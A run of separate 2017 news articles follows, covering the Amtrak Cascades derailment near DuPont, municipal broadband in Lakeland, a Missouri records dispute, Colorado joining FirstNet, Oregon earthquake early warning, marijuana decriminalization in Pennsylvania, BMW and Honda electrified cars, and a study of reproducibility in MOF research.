Survivors are sharing stories of how they escaped the scene, some of whom were inside the derailed train cars, while witnesses are recalling how they rushed to help victims.

Monday morning was the first time Amtrak trains used the new Point Defiance Bypass route intended to shave 10 minutes off the trip from Seattle to Portland.

The tracks are owned by Sound Transit, which managed the recent track-upgrade work under an agreement with the Washington State Department of Transportation (WSDOT).

Lakewood Mayor Don Anderson said his city had fought against the new rail line, citing safety concerns.

The Amtrak Cascades 501 left Seattle for Portland at 6 a.m., according to Amtrak.

The train derailed around 7:30 a.m.

Aerial images show all 12 rail cars and one of two engines jumped the tracks.

The rescue effort spanned hours. The trains precarious position complicated initial search efforts for victims by emergency responders.

Meanwhile, miles of vehicles on Interstate 5 became gridlocked. The traffic spilled to surrounding communities.

Around 12:30 p.m., WSDOT began diverting southbound traffic through Joint Base Lewis-McChord, which opened a road on its perimeter to general traffic.

A family reunification center with donated meals and water was open to survivors throughout the morning at DuPont City Hall.

The train derailed from a bridge onto I-5 near Mounts Road between Lakewood and Olympia.

The rebuilt, $181 million passenger corridor goes directly from Tacoma to DuPont, instead of a slow but scenic path along Puget Sound at Tacoma Narrows.

The route crosses major arterials next to I-5 and Joint Base Lewis-McChord. There are no switches or road crossings in the immediate area, said Janet Matkin, spokeswoman for the WSDOTs rail division. However, the corridor in general passes through many neighborhoods and roads.

Preliminary evidence suggests the Amtrak train was traveling at 80 mph when it derailed, according to National Transportation Safety Board (NTSB) Member Bella Dinh-Zarr. The speed limit there is 30 mph.

The federal investigating board, which will determine the cause of the crash, said it had no other information.

Gay Banks Olson, an assistant superintendent of operations with Amtrak, declined to say what caused the derailment Monday.

Bob Chipkevich, a former NTSB director of railroad, pipeline and hazardous-materials investigations, said it looks like it was a high-speed derailment based on the TV images hes seen of the accident.

The Pierce County Medical Examiner will formally identify the deceased.

A team with NTSB is expected to arrive in the Seattle area late Monday.

Large cranes  some already on site  will begin stabilizing the rail cars, Trooper Bova said.

The southbound lanes of I-5 are completely blocked and will remain closed at least through Tuesday morning.

Because of the derailment, WSDOT said, the Amtrak Cascades trains will detour onto their former route along the waterfront.

People who need information about their friends or family who might have been on the train can call 1-800-523-9101, Amtrak said.

(TNS) - As federal investigators piece together what caused an Amtrak train to derail near Olympia, killing several passengers and injuring dozens more, weve compiled what we know so far.Our reporting began early Monday, with reporters and photographers stationed across the Pierce County area, hearing stories from survivors and gathering details on the crash.This is a rundown of our notes:Why exactly the derailment occurred.Details on the victims.These are the first deaths on Amtrak Cascades trains in Washington state.Jessica Lee: 206-464-2532 or jlee@seattletimes.com; on Twitter: @jessleeST.2017 The Seattle TimesVisit The Seattle Times at www.seattletimes.comDistributed by Tribune Content Agency, LLC.
(TNS)  LAKELAND  Commissioner Justin Troller indicated he will make a final pitch for the current city commission to take a step toward building a publicly owned broadband utility in Lakeland.Four of his colleagues on the governing board  Mayor Howard Wiggs and Commissioners Edie Yates, Don Selvage and Jim Malless  have one official meeting remaining before the new group, elected in November and December, ascend to the dais Jan. 2.For four years this commission has debated the broadband question, Troller said, and he would like to see it take a vote that would start measuring the costs of creating a fiber optics utility test area.It's not clear yet what format Troller's proposal will take, but by engaging the gears of the professional staff it could set the agenda for the board and its new commissioners after they take their oaths of office."I felt this body should have been the foundation builders to the next commission," Troller said. "I don't know how my new colleagues are going to feel on this. I think it took us four years to get comfortable (from) educating ourselves on the issue."Mayor-elect Bill Mutz and Commissioner-elect Scott Franklin have stated their opposition to building a public internet utility. Commissioner-elect Stephanie Madden has said she favors a partnership with a private company. Commissioner-elect Michael Dunn has been supportive of the public option.Troller said he waited for a broadband task force headed by former Commissioner Keith Merritt and then Selvage to take decisive action on whether the city should build out its current fiber optics network to serve individual customers as a new, city-run utility.Instead, the issue has lingered. The commission's majority position has been to find a private partner with which to work to utilize the city's existing fiber optics assets, but movement has been slow and expectations undefined.Troller said Friday an upcoming search for a "public-private partnership" should be sidelined in favor of action toward testing the feasibility of the city building and operating its own service.In October, Troller reignited the issue with a public presentation in which he compared building a public broadband internet service to the creation of Lakeland Electric, a cash cow for the city that pays for more general city services than the property tax.Then, as now, he called for the city to start analyzing costs and geography to create a test area that would incorporate residential, business and low-income residential customers. This test area would determine the feasibility of taking the program citywide.Wiggs said he thinks the political environment may have shifted in favor of building the public utility, especially as federal internet policy has become favorable to large telecommunications companies and state governments continue to restrict municipalities from building their own systems.Opposition on the current commission from sympathetic voices like Wiggs and Selvage has focused on their unwillingness to risk the large capital investment necessary to start a service in a battle for market share against national companies like Frontier and Charter, the owners of FiOS and Spectrum, respectively.But with that, Selvage especially has been vocal in his dissatisfaction with the companies' offerings and prices in Lakeland, especially as some cities across the country are benefiting from ultra-fast internet connections at lower prices.
(TNS)  JEFFERSON CITY  A nonprofit with ties to numerous high-profile Republicans says it filed a complaint with the Missouri attorney generals office alleging Democratic state Auditor Nicole Galloway isnt complying with open records laws.The allegations are the latest twist in a months-long back-and-forth between Galloway and Kansas City-based Missouri Alliance for Freedom.The nonprofit sued Galloway earlier this year, alleging her office is violating the Sunshine Law by refusing to turn over requested documents. Galloway has sought to get the lawsuit thrown out, arguing it has no merit and is simply an attempt to intimidate a political rival.Missouri Alliance for Freedom is now asking Attorney General Josh Hawley to investigate whether Galloway is failing to turn over text messages sent and received on her state-issued phone. The organization says it filed its complaint with Hawleys office by mail on Thursday.Hawleys spokeswoman said Monday morning that the complaint has not been received.The documents requested of Auditor Galloway are public record and should be produced, said Kristen Blanchard Ansley, president of Missouri Alliance for Freedom. Galloway is withholding property that belongs to Missourians.Galloways office says it has worked to fully comply with the request, including turning over more than 24,000 pages of documents at no charge in response to records requests by Missouri Alliance for Freedom. And the office says it continues to work to fulfill the expansive records requests.Critics of Missouri Alliance for Freedom are also questioning the timing of the complaint, arguing that it looks like an attempt to distract from recent revelations that Gov. Eric Greitens and his staff are using an app that erases text messages after theyve been read.The governors actions inspired calls for Hawleys office to investigate whether the governor is illegally destroying public records by using the app. Hawley, a Republican, said last week he is weighing whether to appoint a special investigator In May, Missouri Alliance for Freedom requested Galloway turn over all communications, including texts and emails, since she took office in 2015. The group also requested all documents connected to her audit of the Missouri Department of Revenue and whether it was complying with a state law requiring that income tax refunds be paid out within 45 days of filing.The audit gained public attention after Galloway threatened to issue a subpoena to force the Greitens administration to comply and turn over information on its management of income tax refunds.Two months after filing the initial records request, Missouri Alliance for Freedom filed a lawsuit in Cole County Court saying the auditors office was not turning over the records.In mid-November, Missouri Alliance for Freedom filed another records request, this time seeking a forensic image of Galloways state-issued cell phone and communications surrounding the retention and preservation of records related to the phone.The group asked that Galloway process this request first, ahead of any prior (Missouri Alliance for Freedom) request.Galloway seized on the new request, arguing that the sudden disinterest in records previously requested strongly suggests this lawsuit is not about obtaining information.Her office noted that the new request was submitted just two weeks prior to the due date for the final and remaining requested records to be turned over.The record requests all appear to be a deliberate effort to intimidate the state auditor and obstruct a thorough review of state agencies, specifically the audit of the timeliness of tax refunds.The auditors office filed a request asking a judge to throw out Missouri Alliance for Freedoms lawsuit.Ben Hurst, an attorney with the Graves Garrett Law firm in Kansas City who is representing Missouri Alliance for Freedom, said the auditors attacks on his client are designed to distract from the substantive issues at hand.She has refused to produce any emails from her first 18 months in office. Emails are public records, Hurst said. She has refused to produce any text messages from her public cell phone  a phone paid for with taxpayer funds. Texts are public records.The organization also balked at the idea that it is running interference for the governor to take attention away from his text messaging controversy.Lodging a complaint against Nicole Galloway for failing to open her government text messages for public viewing has nothing to do with anyone except Nicole Galloway, Ansley said.Missouri Alliance for Freedom was founded in 2013. In addition to Ansley, who is the former executive director of the Missouri Republican Party, the nonprofits leadership includes James Thomas III , a Kansas City attorney tied to numerous campaign committees used over the years by Republican political consultant Jeff Roe.The nonprofit is represented by the law firm of Missouri GOP Chairman Todd Graves. St. Joseph businessman and prominent Republican donor Stan Herzog is widely believed to be the groups primary backer A political action committee connected to Missouri Alliance for Freedom spent $110,000 in October helping elect a Republican running for a Jackson County-based seat in the state senate.Galloway was appointed as auditor in 2015 after the suicide of then-auditor Tom Schweich . She and U.S. Sen. Claire McCaskill are the only Democrats who hold statewide offices in Missouri, and both will seek re-election next year.
After years of planning, negotiating and considering their options carefully, state of Colorado officials have announced the state will join FirstNet, the dedicated, nationwide first responder network.The news , delivered by Gov. John Hickenlooper on Dec. 18, came 10 days before the Dec. 28 deadline FirstNet has given states and territories to opt out, after which it will essentially implement build-out plans created with partner AT&T and submitted to each state.Colorado's decision was not a complete surprise, but authorities scrutinized their decision particularly closely.As in Michigan and Mississippi, Colorado staffers issued an RFP to study standing up its own network.Like officials in New Hampshire  which earlier this month became the first state to opt out of FirstNet  Colorado in November made a conditional award in November to U.S.-based Rivada Networks and the Australian financial services provider Macquarie Group.New Hampshire approved its own contract with Rivada last year, on a no-cost, no-obligation basis until it reached a decision, state officials said.Colorados decision to join FirstNet will invalidate its pact with Rivada, as Hickenlooper signed a contract to become the network's 40th member state or territory during a press event on Facebook Live.But the move to join FirstNet , which already offers priority communication to users on its existing network; and last week added the pre-emption capability to emergency users on AT&Ts LTE network, indicates officials are confident in its ability to cover a state that is famously rugged and farflung.FirstNet wont be completely built out nationwide until sometime around the year 2020 but its core network is expected to be complete during March 2018, according to a representative. And in August, Verizon announced plans to build its own private network for public safety communications.But Hickenloopers decision, informed by members of the FirstNet Colorado Governing Body (FNCGB) of public safety officials and others, reflects, he said, a realization that joining FirstNet will enable the state to expand public safety in remote areas as well as enhance services to all residents.Thats the kind of double benefit that we had always hoped to be able to get from this process, Hickenlooper said during the press conference, expressing appreciation to AT&T, which has a 25-year contract with FirstNet for its commitment to leverage existing infrastructure wherever possible.The governor acknowledged the choice requires continued engagement by communities across the state, and thanked those participating in the process for their time, especially FNCGB members.And we really appreciate, and I cant say loudly enough,  how hard youve fought to make sure that weve got the benefits, the maximum benefits that we could possibly obtain through this whole process of negotiation, Hickenlooper added.In earlier interviews with, FNCGB members had identified potential issues with joining FirstNet.Officials had said they were worried that partnering with FirstNet could still leave remote areas without coverage, and cost the state the local control it might have had over its own network.Another concern was the possibility of reconstitution payments should Colorado opt out and have its independent network fail, requiring it to join FirstNet; and the provider to rebuild or complete its network.A FirstNet spokesman said earlier this month that the provider works closely with all states and territories to help them reach decisions to opt in or out; and that potential reconstitution payments in the millions represent "estimates of the very worst-case numbers.Denver Fire Chief Eric Tade, the FNCGB chairman, thanked AT&T and FirstNet during the press event for committing an additional 35 sites to the state of Colorado to really ensure that we start off right and ensure that we have public safety broadband coverage all throughout Colorado.In an interview, Tade characterized the states topography as extremely difficult  given the Rocky Mountains there, but said officials believe the 35 additional cellular sites will help connect areas that lack coverage.Essentially, theyre adding capacity where there was no capacity. Exactly how theyre configuring that, I think, remains to be seen, Tade said, meaning that its not yet clear whether AT&T would build new sites or co-locate additional equipment on existing infrastructure.Jeff Bratcher, FirstNet chief technology officer, said at the event that being the 40th state or territory to join should continue Colorados decade of being on the leading edge of public safety broadband and testing public safety broadband technologies.Gov. Hickenlooper, with your decision today, Colorados public safety entities can make use of cutting-edge broadband technology and also know that FirstNet is located right in their backyard, Bratcher said extending an open invitation to public safety personnel to visit the companys Boulder, Colo., location to look in on core network preparations.
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(TNS)  Soon after he got home Wednesday evening, Leland O'Driscoll, a manager with the Pacific Northwest Seismic Network, pulled out his laptop and began monitoring the seismographs sprinkled around Oregon.Just after 5:24 p.m., an alarm blared and a digitized voice spilled out of his computer in urgent tones."Earthquake! Earthquake!"The ground had begun to shake south of Mollala and the energy from the quake would reach O'Driscoll's home in seconds, his screen showed.The magnitude 4.0 temblor wasn't strong enough to be felt in Eugene, where O'Driscoll lives and works out of the University of Oregon, but the early warning was valuable nonetheless."It was a good demonstration of how this technology works," he said, referring to the state's ShakeAlert system, a series of seismographic sensors carpeted over the state that can give users of the system an early warning when a quake hits.Earthquakes happen when a fault in the earth's crust slips and the land on either side of the fault moves relative to one another. The shaking is waves of energy radiating out from the spot on the fault line where the rupture occursTwo types of energy travel outward from the epicenter: primary waves, or p-waves, and secondary waves, or s-waves. The p-waves travel faster and usually don't cause much shaking or destruction. Using those initial p-waves, sensors can detect the strength of a quake, relay the message to an earthquake alert center and create a warning, allowing seconds or even minutes for people to prepare before the stronger s-waves arrive.For O'Driscoll, he had 22-seconds notice that the energy from Wednesday night's quake was on its way. Farther north, where the quake was felt, anyone in Salem using the system would have had 3 seconds to prepare. In Portland, the alert would have given people 8 seconds of warning.That might not seem like much time, but it could give enough warning to move away from a window, get under a desk or avoid a heavy bookcase that could topple in a quake. For public infrastructure, that could be enough time to slow or stop a train, trigger automatic gas shut off valves or warn people to take cover.A number of other countries already have earthquake detection systems in place, including Mexico, Turkey and China. In Japan, the country invested some $600 million in the system after the 1995 Kobe earthquake killed more than 6,000 people.When the magnitude 9.0 Tohoku earthquake struck in 2011, not a single train in the entire country derailed, thanks to the early warning system.Nearly all of the countries that can detect earthquakes before the shaking starts implemented the system in response to a costly and destructive event."In many of those cases, those countries built those early warning systems after a major earthquake," Doug Toomey, a University of Oregon seismology professor, told The Oregonian/OregonLive last year. The U.S. is trying to build out the system before the next quake. Toomey said the sensors will ideally be spaced out every 20 kilometers from Cape Mendocino in California to Vancouver Island in British Columbia. There are currently about 400 sensors in Oregon and Washington, Toomey said.The system along the West Coast is still in development, according to the U.S. Geological survey, but has already detected two earthquakes that caused damage. An alert was generated within four seconds for the magnitude 5.1 La Habra earthquake that struck in southern California in March of 2014. In northern California, users of the test system got five seconds of warning before the shaking from the South Napa quake reached them in August of 2014.Last year, UO received a $237,000 grant from the U.S. Geological Survey, part of $3.7 million awarded to a handful of universities across the West to bolster the system.But the geological survey estimated it will cost more than $38 million to finish the early-detection system and create a public alert. Annual operations and maintenance cost for the detection system could exceed $16 million.The system will need significant investment from government agencies on local, state and federal levels as well as from private companies and the public before it comes fully operational, according to the geological survey.The slight soil shaker that wobbled underneath Mollala Wednesday night may have brought back some memories for longtime Oregonians.The magnitude 4.0 earthquake that hit about 30 miles south of Portland didn't cause any major damage or injuries, but it hit in the exact same area as a stronger quake that shook the area in 1993  a magnitude 5.6 temblor, which hit at 5:34 a.m., known officially as the Scotts Mills earthquake and unofficially as the Spring Break quake.That quake was far more destructive than Wednesday evening's earthly rumbling.It lasted for roughly 45 seconds and was felt as far north as Seattle, jolting awake residents of Portland and Salem. The state capitol and Molalla High School were both seriously damaged. A bridge near Dayton was also damaged and had to be closed.All told, damage estimates reached about $28 million in 1993 dollars. Fortunately, no one was killed and only a few people were injured. O'Driscoll said the maximum output for the Mount Angel fault, where both quakes occured, is about a magnitude 6.0.But that pales in comparison to what could happen if and when the Cascadia Subduction Zone ruptures.If the entire fault were to slip, it could unleash a magnitude 9.0 quake, cause tens of thousands of deaths and an ensuing tsunami could obliterate much of the Pacific Northwest coastline.The last time the subduction zone saw a major quake where the entire zone ruptured, which scientists have been able to pin down because it caused a tsunami that traveled across the Pacific ocean to Japan, was in 1700, 316 years ago.Experts say the chances of a quake hitting the central Oregon region of the Cascadia Subduction Zone in the next 50 years are between 15 and 20 percent.
Less than 10 miles cost Marlena McConnell a night in jail and possible extradition back to Pennsylvania from her home in Mobile, Alabama.

McConnell, who was 22 at the time, was traveling south on Interstate 81 in Franklin County late one night in October when she pulled onto the shoulder of the highway to sleep, according to Pennsylvania State Police.

When police arrived at her vehicle they discovered she was in possession of a small amount of marijuana. Police took McConnell into custody and she was held in Franklin County Jail on $5,000 bail, police said.

She was released a day later after paying a bail bondsman, according to court records. A bench warrant was later issued for her arrest for failing to appear for subsequent hearings.

Had McConnell traveled less than 10 miles farther and crossed the Mason-Dixon Line, she likely would have been sent on her way with only a fine. That is because in 2014 Maryland decriminalized the possession of a small amount of marijuana, while in Pennsylvania the offense remains a misdemeanor.

Since the 1970s, more than 20 states have decriminalized or legalized marijuana.

As with most public policy, the decision to reduce the penalties for marijuana possession comes with a host of possible costs and benefits.

Pro: Marijuana decriminalization could reduce the negative impacts on defendants

At least 6,290 people across Pennsylvania were charged with only misdemeanor possession of a small amount of marijuana and possession of drug paraphernalia in 2016, according to court records.

For these people, the consequences of the arrest and possible conviction can have serious ramifications.

Jail time is rare for people who are guilty of only these offenses. Less than 1 percent of these kinds of cases in Cumberland County in 2016 resulted in jail time, according to court records.

However, a person who is convicted of possession of a small amount of marijuana can face financial sanctions and several collateral consequences. A conviction for this charge carries drivers license suspension of six months for first offense and can bar a person from obtaining federal student loans.

Decriminalization could eliminate the remote possibility of jail and would likely eliminate those collateral consequences while reducing the amount owed for a financial sanction.

Con: Decriminalization may not eliminate racial disparities

Decriminalization is not legalization, meaning bans on possession of small amount of marijuana would still be enforced and penalties assessed. Any racial disparities seen in the enforcement of current laws would likely still be present.

Roughly 50 percent of Harrisburgs population is black, according to the U.S. Census Bureau. However, about 66 percent of people charged with only possession of marijuana and drug paraphernalia in 2016 were black.

That disparity has grown since the city implemented its decriminalization ordinance in March, a policy that allows police officers to issue a citation rather than list misdemeanor charges for anyone caught with a small amount of the drug.

Between March 24 and Sept. 24, black defendants accounted for more than 77 percent of the defendants charged with the misdemeanor offense and nearly 75 percent of all possession of a small amount of marijuana arrests, according to an analysis of court records conducted by The Sentinel.

Black defendants also saw a small decrease in misdemeanor charges and a larger increase in overall arrests than their white counterparts, according the analysis.

Pro: Decriminalization could lead to more equitable case outcomes for defendants

The Sentinel reviewed more than 220 criminal cases from 2016 where the defendant was charged with misdemeanor possession of a small amount of marijuana with the only possible additional charge being misdemeanor possession of drug paraphernalia.

More than 80 percent of those cases resulted in no jail time or probation. The defendant was required only to pay fines, fees and costs.

However, the amount a defendant had to pay varied widely based largely on how long the case remained in the system.

In one case a defendant pleaded guilty to summary disorderly conduct early in the process and only had to pay $134. Another similarly charged defendant from York with no criminal history pleaded guilty to misdemeanor possession of drug paraphernalia later in the process and was required to pay more than $1,000.

The largest area of growth in costs for the defendant as he proceeded through the system were fees including for the York defendant $300 booking fee, $189 plea fee, and several fees for programs and services unrelated to the charges or case circumstance, according to court records.

Decriminalization would provide for nearly all cases to be handled at the lower court with a set fee and fine structure.

Con: More people could be penalized for possessing marijuana under decriminalization

A large body of research on the subject revealed that marijuana use typically does not increase after decriminalization.

A 1989 study by Eric Single in the Journal of Public Health Policy posited that because the risk of being arrested for possession of a small amount of marijuana was already low and the drug was readily available, decriminalizing has little effect on use.

There is a possible expansion of enforcement  known as net widening  associated with marijuana decriminalization. Net widening is the theory that officers are more willing to penalize someone for an offense when the sanction is reduced.

Beau Kilmer, co-director of the RAND Drug Policy Research Center, said this could be a situation where before decriminalization an officer would merely confiscate a persons drugs and let them go so the person did not end up with a criminal record. After decriminalization, the officer may be willing issue a citation because the criminal penalty is eliminated.

In Harrisburg, misdemeanor arrests for possession of a small amount of marijuana fell by about 30 percent after decriminalization, but overall arrests for the offense rose by roughly 17 percent with the inclusion of the citys new ordinance.

Pro: Decriminalization could save the state, county and local municipalities money and free up police resources

Every arrest for a small amount of marijuana has costs and requires police time and resources.

Calculating the cost associated with these arrests gets a little fuzzy, but is likely significant.

Researchers for RAND estimated the average cost for an arrest for possession of a small amount of marijuana in Vermont in 2014 was $1,266. The cost in New York was roughly $1,500, according to the Drug Policy Alliance.

Statewide, more than 6,000 people were arrested and prosecuted for possession of a small amount of marijuana only in 2016, according to court records.

That is an estimated cost of $7.5 million and $9 million in 2016 alone.

Since decriminalization would not legalize the drug, some expenditure would still go toward enforcement.

Police resources put on these arrests could also be reduced under decriminalization.

Harrisburg Police Capt. Gabriel Olivera said the difference in the amount of work required in issuing a summary citation and filing misdemeanor charges is significant.

A summary citation generally requires the officer fill out a roughly five by seven piece of paper, Olivera said.

For a misdemeanor arrest, the officers must fill out a multipage criminal complaint complete with an affidavit, have that signed by a judge, bring the defendant in front of a judge for arraignment and have the defendant photographed and finger printed, Olivera said.
A Spanish motor racing official has defended controversial figure Carmen Jorda.

Renault F1 ambassador Jorda, an advocate of an all-female F1 series, was criticised as the FIA appointed her to the 'women in motor sport commission'.

"This witch hunt seems unfair to Carmen," Gonzalo Gobert, boss of the Valencia circuit, told Radio Marca.

"She is a friend and I agree with her, but perhaps her appointment to the commission was not well explained. The president is still Michele Mouton.

"It's a good move because at least she is there for the debate."

Spaniard Jorda has been criticised especially because she never qualified higher than 20th in GP3, while more recently representing F1 teams Lotus and Renault and arguing that women should race alone in their own series.

Gobert commented: "Why not have a female formula if it is not exclusive or obligatory?

"The idea is to create more opportunities for women to race, be an example for new drivers, and get more funding from sponsors. Carmen was crushed on social media.

"She is not the best in the world, but nor was she the worst. And one of the things she says is that without being the best she reached F1 test driver, while a lot of men without being the best reached F1," Gobert added.

(GMM)
Bruce Glikas/FilmMagicIn a recent interview, Jon Bon Jovi said he'd considered the idea of a musical based on the group's songs. Well, while we're waiting for that, Bon Jovi keyboardist David Bryan is planning to premiere a new musical based on an entirely different topic: Princess Diana.

The Los Angeles Times reports that Diana will get its world premiere at the La Jolla Playhouse in California as part of the venue's 2018-2019 season. It'll be directed by Christopher Ashley, who won a Tony for one of this year's most acclaimed Broadway shows, Come from Away.

Featuring music by Bryan and Joe DiPietro, the musical documents Diana's journey starting from her 1981 wedding to Prince Charles and continuing through the non-stop media scrutiny, her difficult relationships with the rest of the royal family, and her troubled marriage.

Tickets to the show are only available if you purchase a subscription. Visit LaJollaPlayhouse.org for more information.

Bryan, DiPietro and Ashley also worked together on the Tony Award-winning musical Memphis.

In April, Bon Jovi will be inducted into the Rock and Roll Hall of Fame.

Copyright  2017, ABC Radio. All rights reserved.
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The BMW Group has delivered more than 100,000 electrified vehicles to customers worldwide in 2017, as promised at the beginning of the year. In recognition of the miletone, BMW used a light installation to transform its Group headquartersthe world-famous Four-Cylinder in the north of Munichon the evening of 18 December 2017 into a battery.





We deliver on our promises. This 99-meter-high signal is lighting the way into the era of electro-mobility. Selling 100,000 electrified cars in one year is an important milestone, but this is just the beginning for us. Since the introduction of the BMW i3 2013, weve delivered more than 200,000 electrified cars to our customers and by 2025, we will offer 25 electrified models to our customers. Our early focus on electro-mobility has made this success possibleand electro-mobility will continue to be my measure for our future success. Harald Kruger, Chairman of the Board of Management of BMW AG

Electro-mobility is an essential element of the NUMBER ONE > NEXT corporate strategy, which continues to expand the BMW Groups position as the leading provider of individual premium mobility and mobility services. By 2025, the company will offer 25 fully electric and plug-in hybrid models worldwide. The fifth generation of electric drive train and battery technology, available from 2021, uses scalable, modular electrification kits that will allow all model series to be fitted with every type of drive train.

For its BMW i electric brand, which was founded in 2011, the company has already secured the naming rights from BMW i1 to i9, as well as from BMW iX1 to iX9. Next year will see the launch of the BMW i8 Roadster, followed in 2019 by a fully electric MINI; in 2020, by the electric version of the BMW X3 and in 2021 by the brands new technology flagship, the BMW iNext, which will combine electro-mobility with autonomous driving and new interior connectivity options for the first time in a series-production model.

The BMW Group adopted a holistic approach to electro-mobility early, when it launched project i, the trailblazer for BMW i, back in 2007. By the following year, electric test fleets took to the roads worldwide in the largest wide-scale EV field trial the automotive industry had ever seen. Series production of the fully-electric BMW i3, one of the most-awarded vehicle concepts in the world, began in 2013. Since then, sales have increased every year, for the past four consecutive years.

According to the independent POLK/IHS Report (published on 7 December 2017), the BMW Group has a clear lead over its competitors when it comes to registrations of new fully-electric and plug-in hybrid vehicles in Europe, with a market share of 21%. BMW Groups share of the electrified vehicle segment is more than three times its share of the market for traditional models.

While electrified vehicles now account for 2% of new vehicle registrations across all manufacturers in Europe, the BMW Group figure is already 6%. In other words, the BMW Group holds a disproportionately large share of the growing market for electro-mobility in Europe. The companys position is similarly strong when it comes to the worldwide marketthe company has a 10% share of the global electrified vehicle market.

BMW electrified models are in high demand in western Europe and the US, where they account for 7% of total BMW brand sales in both markets. In Scandinavia, where the BMW i3 is the best-selling BMW model, one in four BMWs sold is electrified. In Germany, new registrations of fully-electric and plug-in hybrid BMW Group vehicles will reach more than 10,000 units this year.

Electrified drive trains also play an increasingly important role in the engine mix for individual models: In 2017, every tenth model of the highly successful BMW 3 Series Sedan delivered to customers worldwide was electrified. In the case of the BMW 2 Series Active Tourer, 13% of the models sold in 2017 were plug-in hybrids. Since its launch in June 2017, the MINI Cooper S E Countryman ALL4 already accounts for one in ten of MINI Countryman sales around the world. Sales of the all-electric BMW i3 also increased by around a quarter. (All figures YTD November 2017.)

Complementing the nine electrified four-wheel vehicles offered by the BMW Group, the company also manufactures the two-wheeled BMW C evolution. Following the introduction of a new battery, which extends the scooters range to 160km, sales of this electrified scooter have grown by 80% compared to the first 11 months of last year. The 1,500 units sold around the world are in addition to the 100,000 electrified automobiles the company has sold in 2017.
However, a new study by researchers at Georgia Tech that compared the results reported in thousands of papers published about the properties of metal organic framework (MOF) materialsprominent candidates for carbon dioxide adsorption and other separations suggests the replicability problem should be a concern for materials researchers, too.

The replicability of results from scientific studies has become a major source of concern in the research community, particularly in the social sciences and biomedical sciences. But many researchers in the fields of engineering and the hard sciences havent felt the same level of concern for independent validation of their results.

Scientific progress is severely impeded if experimental measurements are not reproducible. Materials chemistry and related fields commonly report new materials with limited attention paid to reproducibility. Here, we describe methods that are well suited to assessing reproducibility in these fields via retrospective analysis of reported data. This concept is illustrated by an exhaustive analysis of a topic that has been the focus of thousands of published studies, gas adsorption in metalorganic framework (MOF) materials.

 Our results have immediate implications for the characterization of gas adsorption in porous materials but, more importantly, demonstrate an approach to assessing reproducibility that will be widely applicable in materials chemistry. Park et al.

One in five studies of MOF materials examined by researchers at the Georgia Institute of Technology were judged to be outliers, with results far beyond the error bars normally used to evaluate study results. The thousands of research papers yielded just nine MOF compounds for which four or more independent studies allowed appropriate comparison of results.

At a fundamental level, I think people in materials chemistry feel that things are reproducible and that they can count on the results of a single study. But what we found is that if you pull out any experiment at random, theres a one in five chance that the results are completely wrongnot just slightly off, but not even close. David Sholl, a professor and John F. Brock III School Chair in the Georgia Tech School of Chemical and Biomolecular Engineering

Whether the results can be more broadly applied to other areas of materials science awaits additional studies, Sholl said. The results of the study, which was supported by the US Department of Energy, were published in the ACS journal Chemistry of Materials.

Sholl chose MOFs because theyre an area of interest to his labhe develops models for the materialsand because the National Institute of Standards and Technology (NIST) and the Advanced Research Projects Agency-Energy (ARPA-E) had already assembled a database summarizing the properties of MOFs. Co-authors Jongwoo Park and Joshua Howe used meta-analysis techniques to compare the results of single-component adsorption isotherm testinghow much CO 2 can be removed at room temperature.

That measurement is straightforward and there are commercial instruments available for doing the tests.

The research community would consider this to be an almost foolproof experiment, said Sholl, who is also a Georgia Research Alliance Eminent Scholar in Energy Sustainability.

The researchers considered the results definitive when they had four or more studies of a given MOF at comparable conditions.

The implications for errors in materials science may be less than in other research fields. But companies could use the results of a just one or two studies to choose a material that appear to be more efficient, and in other cases, researchers unable to replicate an experiment may simply move on to another material.

The net result is non-optimal use of resources at the very least. And any report using one experiment to conclude a material is 15 or 20 percent better than another material should be viewed with great skepticism, as we cannot be very precise on these measurements in most cases. David Sholl

Why the variability in results? Some MOFs can be finicky, quickly absorbing moisture that affect adsorption, for instance. The one-in-five outliers may be a result of materials contamination.

One of the materials we studied is relatively simple to make, but its unstable in an ambient atmosphere. Exactly what you do between making it in the lab and testing it will affect the properties you measure. That could account for some of what we saw, and if a material is that sensitive, we know its going to be a problem in practical use. David Sholl

Other factors that may prevent replication include details that were inadvertently left out of a methods descriptionor that the original scientists didnt realize were relevant. That could be as simple as the precise atmosphere in which the material is maintained, or the materials used in the apparatus producing the MOFs.

Sholl hopes the paper will lead to more replication of experiments so scientists and engineers can know if their results really are significant.

As a result of this, I think my group will look at all reported data in a more nuanced way, not necessarily suspecting it is wrong, but thinking about how reliable that data might be. Instead of thinking about data as a number, we need to always think about it as a number plus a range. David Sholl

Sholl suggests that more reporting of second, third or fourth efforts to replicate an experiment would help raise the confidence of data on MOF materials properties. The scientific publishing system doesnt currently provide much incentive for reporting validation, though Sholl hopes that will change.

He also feels the issue needs to be discussed within all parts of the scientific community, though he admits that can lead to uncomfortable conversations.

We have presented this study a few times at conferences, and people can get pretty defensive about it. Everybody in the field knows everybody else, so its always easier to just not bring up this issue. David Sholl

Sholl would also like to see others replicate the work he and his research team did.

It will be interesting to see if this one-in-five number holds up for other types of experiments and materials. There are other certainly other areas of materials chemistry where this kind of comparison could be done. David Sholl

This research was supported by the US Department of Energy through grant DE-FE0026433 and by the Center for Understanding and Control of Acid Gas-Induced Evolution of Materials for Energy (UNCAGE-ME), an Energy Frontier Research Center funded by US Department of Energy, Office of Science, Basic Energy Sciences under Award #DE-SC0012577. Any opinions, findings, conclusions or recommendations expressed herein are those of the author(s) and do not necessarily reflect the views of sponsors.

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The new Insight features the latest generation of Hondas innovative two-motor hybrid system and will launch next summer as the newest electrified vehicle in the Honda lineup.

Honda will unveil the Honda Insight Prototype at the 2018 North American International Auto Show in Detroit in January as the precursor to the new third-generation 2019 Honda Insightan upscale, stylish five-passenger sedan positioned above the Civic in Hondas passenger car lineup.





Teaser shot of third-generation 2019 Insight.

Introduced in 1999, the first-generation Insight was the first commercial hybrid vehicle in the US and featured optimized aerodynamics and a lightweight aluminum structure. As a result, the 2-door Insight launched as the most fuel-efficient EPA certified gasoline-fueled vehicle with a highway rating of 70 mpg (3.36 L/100 km). It was the first Honda vehicle to utilize Hondas Integrated Motor Assist (IMA) hybrid system.





First-generation Insight.

The second-generation Insight made its debut in 2009 as the most affordable hybrid on the market. With its 5-door, 5-passenger design, the Gen 2 Insight offered increased space and utility while continuing to employ the IMA hybrid system.





Second-generation Insight.

The third-generation 2019 Insight will take an entirely new approach with the styling, packaging, premium features and performance desired by mainstream car buyers. Unlike the first two generations of Insight, the all-new model will be powered by Hondas two-motor hybrid system and offer fuel economy that is competitive with other compact hybrid models.

